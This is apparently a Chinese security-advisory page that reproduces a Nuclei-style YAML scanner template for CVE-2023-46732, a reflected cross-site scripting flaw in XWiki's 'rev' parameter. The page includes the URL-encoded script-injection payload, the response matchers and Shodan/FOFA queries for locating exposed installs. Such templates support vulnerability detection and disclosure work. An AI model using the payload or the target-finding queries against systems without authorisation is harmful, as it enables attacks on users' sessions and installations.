CVE-2023-46732: XWiki < 14.10.14 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: XWiki | POC: 已公开

漏洞描述

XWiki is vulnerable to reflected cross-site scripting (RXSS) via the rev parameter that is used in the content of the content menu without escaping. If an attacker can convince a user to visit a link with a crafted parameter, this allows the attacker to execute arbitrary actions in the name of the user, including remote code (Groovy) execution in the case of a user with programming right, compromising the confidentiality, integrity and availability of the whole XWiki installation.

PoC代码[已公开]

id: CVE-2023-46732

info:
  name: XWiki < 14.10.14 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    XWiki is vulnerable to reflected cross-site scripting (RXSS) via the rev parameter that is used in the content of the content menu without escaping. If an attacker can convince a user to visit a link with a crafted parameter, this allows the attacker to execute arbitrary actions in the name of the user, including remote code (Groovy) execution in the case of a user with programming right, compromising the confidentiality, integrity and availability of the whole XWiki installation.
  impact: |
    Successful exploitation could lead to cross-site scripting attack.
  remediation: |
    This has been patched in XWiki 15.6 RC1, 15.5.1 and 14.10.14.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-21095
    - https://nvd.nist.gov/vuln/detail/CVE-2023-46732
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-46732
    cwe-id: CWE-79
    epss-score: 0.55885
    epss-percentile: 0.98025
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2024,xwiki,xss,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/bin/view/Main/?rev=xar%3Aorg.xwiki.platform%3Axwiki-platform-distribution-flavor-common%2F15.5%25%25%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e"
      - "{{BaseURL}}/xwiki/bin/view/Main/?rev=xar%3Aorg.xwiki.platform%3Axwiki-platform-distribution-flavor-common%2F15.5%25%25%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<script>alert(document.domain)</script>\" id=\"tmViewSource")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022047d8249ad87a5a9763a3aa8a727c9d37110a09285825cd9c6bb2068cd4d57f6e022100c38f956bb1065e25be5524ca772e66e5ef4eba3d9e66c85c9f744704ac409357:922c64590222798bb761d5b6d8e72950

相关漏洞推荐